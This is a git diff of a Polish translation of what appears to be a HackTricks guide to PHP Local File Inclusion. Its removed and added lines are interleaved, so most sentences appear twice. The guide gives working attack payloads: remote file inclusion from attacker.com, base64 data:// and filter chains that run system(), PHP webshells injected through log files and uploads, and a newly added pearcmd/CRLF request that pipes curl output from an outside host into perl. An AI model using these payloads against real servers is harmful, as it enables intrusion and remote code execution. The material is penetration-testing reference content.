|
||||||
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:
|
W PHP różne reprezentacje ścieżki pliku mogą być uznawane za równoważne z powodu natury systemu plików. Na przykład:
|
||||||
|
|
||||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
|
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
|
||||||
* Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
* Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
||||||
* Podobnie, jeśli `.php` jest dodane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
|
* Podobnie, jeśli `.php` jest dodawane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
|
||||||
|
|
||||||
Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):
|
Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do `/etc/passwd`, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):
|
||||||
```
|
```
|
||||||
|
@ -167,12 +167,12 @@ http://example.com/index.php?page=PhP://filter
|
||||||
```
|
```
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:
|
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Wyłączone.** Musi być **Włączone**, aby to działało, a w takim przypadku możesz dołączyć plik PHP z twojego serwera i uzyskać RCE:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **Włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz użyć na przykład protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:
|
Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [zgodnie z tym postem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz użyć na przykład protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```
|
```
|
||||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
|
W poprzednim kodzie końcowe `+.txt` zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Inny przykład **nie używający protokołu `php://`** to:
|
Inny przykład **nie używający protokołu `php://`** to:
|
||||||
|
@ -246,7 +246,7 @@ Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:
|
Filtry PHP pozwalają na wykonanie podstawowych **operacji modyfikacji danych** przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:
|
||||||
|
|
||||||
* [Filtry ciągów](https://www.php.net/manual/en/filters.string.php):
|
* [Filtry ciągów](https://www.php.net/manual/en/filters.string.php):
|
||||||
* `string.rot13`
|
* `string.rot13`
|
||||||
|
@ -262,7 +262,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od
|
||||||
* `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
|
* `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md).
|
Wykorzystując filtr konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Po więcej informacji sprawdź [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
|
* [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
|
||||||
|
@ -272,9 +272,9 @@ Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny t
|
||||||
* `mcrypt.*` : Przestarzałe
|
* `mcrypt.*` : Przestarzałe
|
||||||
* `mdecrypt.*` : Przestarzałe
|
* `mdecrypt.*` : Przestarzałe
|
||||||
* Inne filtry
|
* Inne filtry
|
||||||
* Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
* Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||||
* `consumed`
|
* `consumed`
|
||||||
* `dechunk`: odwraca kodowanie HTTP chunked
|
* `dechunk`: odwraca kodowanie chunked HTTP
|
||||||
* `convert.*`
|
* `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
|
@ -308,25 +308,25 @@ Część "php://filter" jest nieczuła na wielkość liter
|
||||||
|
|
||||||
### Używanie filtrów php jako oracle do odczytu dowolnych plików
|
### Używanie filtrów php jako oracle do odczytu dowolnych plików
|
||||||
|
|
||||||
[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku przez serwer. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.
|
[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.
|
||||||
|
|
||||||
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
|
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
|
||||||
|
|
||||||
* Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
|
* Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
|
||||||
* To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie**, że php wywoła **błąd**.
|
* To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**.
|
||||||
* Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
|
* Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
|
||||||
* To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
* To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
||||||
* Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
|
* Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
|
||||||
* Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przenoszenia innych liter do zakresu szesnastkowego).
|
* Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
|
||||||
* Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
|
* Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
|
||||||
* Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w kolejności, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
|
* Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w kolejności, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
|
||||||
* A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** za pomocą **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
|
* A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
|
||||||
|
|
||||||
W poście wyciekło również narzędzie do automatycznego wykonania tego: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
W poście wycieknięto również narzędzie do automatycznego wykonania tego: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:
|
Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:
|
||||||
```php
|
```php
|
||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
|
@ -391,7 +391,7 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
|
Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI).
|
||||||
|
|
||||||
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
|
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||||
|
|
||||||
|
@ -405,9 +405,9 @@ Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w konte
|
||||||
|
|
||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry php**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||||
Bardzo szybkie podsumowanie: **3-bajtowy przepełnienie** w stercie PHP zostało nadużyte do **zmiany łańcucha wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hak do wywołania **`system`**.\
|
Bardzo szybkie podsumowanie: **3-bajtowy przepełnienie** w stercie PHP zostało nadużyte do **zmiany łańcucha wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hak do wywołania **`system`**.\
|
||||||
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.
|
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów php.
|
||||||
|
|
||||||
### Więcej protokołów
|
### Więcej protokołów
|
||||||
|
|
||||||
|
@ -418,15 +418,15 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w
|
||||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
|
||||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
|
||||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
||||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzoru (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
|
||||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików)
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
|
||||||
|
|
||||||
## LFI przez 'assert' PHP
|
## LFI przez 'assert' PHP
|
||||||
|
|
||||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia do katalogu, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.
|
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierające znaki przechodzenia przez katalogi, takie jak "..", są sprawdzane, ale nie są odpowiednio oczyszczane.
|
||||||
|
|
||||||
Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu do katalogu w ten sposób:
|
Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
|
@ -442,7 +442,7 @@ To ważne, aby **zakodować te ładunki URL**.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Dołącz do [**serwera HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
|
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
|
||||||
|
|
||||||
**Wgląd w Hacking**\
|
**Wgląd w Hacking**\
|
||||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||||
|
@ -479,15 +479,15 @@ Wyjaśnione wcześniej, [**śledź ten link**](./#remote-file-inclusion).
|
||||||
|
|
||||||
### Poprzez plik dziennika Apache/Nginx
|
### Poprzez plik dziennika Apache/Nginx
|
||||||
|
|
||||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę php, taką jak **`<?php system($_GET['c']); ?>`** i dołączając ten plik
|
Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **`<?php system($_GET['c']); ?>`** i dołączając ten plik
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**.
|
Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**.
|
||||||
|
|
||||||
Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
|
Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\
|
Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. Powłoka PHP może być wstawiona w tym nagłówku.\
|
||||||
Inne możliwe ścieżki dzienników:
|
Inne możliwe ścieżki dzienników:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
|
@ -520,11 +520,11 @@ User-Agent: <?=phpinfo(); ?>
|
||||||
```
|
```
|
||||||
### Via upload
|
### Via upload
|
||||||
|
|
||||||
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: `<?php system($_GET['c']); ?>`).
|
Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki do niego (np: `<?php system($_GET['c']); ?>`).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf
|
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf
|
||||||
|
|
||||||
### Poprzez przesyłanie pliku Zip
|
### Poprzez przesyłanie pliku Zip
|
||||||
|
|
||||||
|
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
### Via php filters (no file needed)
|
### Via php filters (no file needed)
|
||||||
|
|
||||||
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku.
|
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej zawartości** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku.
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||||
|
@ -597,7 +597,7 @@ Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, może
|
||||||
|
|
||||||
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||||
|
|
||||||
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Wyłączone`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE:
|
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE:
|
||||||
|
|
||||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||||
|
@ -611,6 +611,25 @@ Jeśli znalazłeś **Local File Inclusion** i serwer działa w **Windows**, moż
|
||||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Via `pearcmd.php` + URL args
|
||||||
|
|
||||||
|
Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w obrazach docker php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument.
|
||||||
|
|
||||||
|
Następujące żądanie tworzy plik w `/tmp/hello.php` z zawartością `<?=phpinfo()?>`:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Następujące wykorzystuje lukę CRLF do uzyskania RCE (z [**tutaj**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||||
|
```
|
||||||
|
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||||
|
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||||
|
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||||
|
%0d%0a
|
||||||
|
```
|
||||||
### Via phpinfo() (file\_uploads = on)
|
### Via phpinfo() (file\_uploads = on)
|
||||||
|
|
||||||
Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file\_uploads = on, możesz uzyskać RCE:
|
Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file\_uploads = on, możesz uzyskać RCE:
|
||||||
|
@ -621,7 +640,7 @@ Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z
|
||||||
|
|
||||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||||
|
|
||||||
Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksportować ścieżkę** do pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do włączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**:
|
Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksfiltrować ścieżkę** do pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||||
|
@ -629,7 +648,7 @@ Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksportować ścieżk
|
||||||
|
|
||||||
### Via eternal waiting + bruteforce
|
### Via eternal waiting + bruteforce
|
||||||
|
|
||||||
Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz następnie **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy:
|
